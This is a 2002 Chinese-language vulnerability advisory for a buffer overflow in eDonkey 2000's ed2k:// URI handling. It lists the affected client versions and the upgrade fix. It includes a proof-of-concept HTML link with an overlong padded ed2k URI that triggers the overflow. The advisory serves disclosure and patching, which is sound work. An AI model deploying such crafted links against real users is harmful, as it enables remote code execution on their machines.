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EDonkey 2000 URI处理缓冲溢出漏洞


发布时间:2002-06-10
更新时间:2002-06-10
严重程度:
威胁程度:普通用户访问权限
错误类型:边界检查错误
利用方式:客户机模式

BUGTRAQ ID:4951

受影响系统
eDonkey 2000 Client 35.16.59 Windows
eDonkey 2000 Client 35.16.60 Windows
详细描述
eDonkey 2000是P-TO-P程序。其中在处理ed2k://时没有很好的对文件段数据进行检查,当处理此类URI时就可以导致eDonkey产生缓冲溢出。

攻击者精心构造这样的连接,eDonkey用户查看时可导致任意代码在用户端执行。

测试代码
<A
href="ed2k://|file|QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQBBBBAAA|1|11111111111111111111111111111111
|">Ed2k Buffer Overflow</A>

解决方案
升级程序:

eDonkey 2000 Client 35.16.59 Windows:

eDonkey 2000 Upgrade eDonkey61.exe
http://www.edonkey2000.com/files/eDonkey61.exe

eDonkey 2000 Client 35.16.60 Windows:

eDonkey 2000 Upgrade eDonkey61.exe
http://www.edonkey2000.com/files/eDonkey61.exe

相关信息
Shane Hird" <shird@dstc.edu.au>.
参考:http://online.securityfocus.com/archive/1/275708
相关主页:http://www.edonkey2000.com/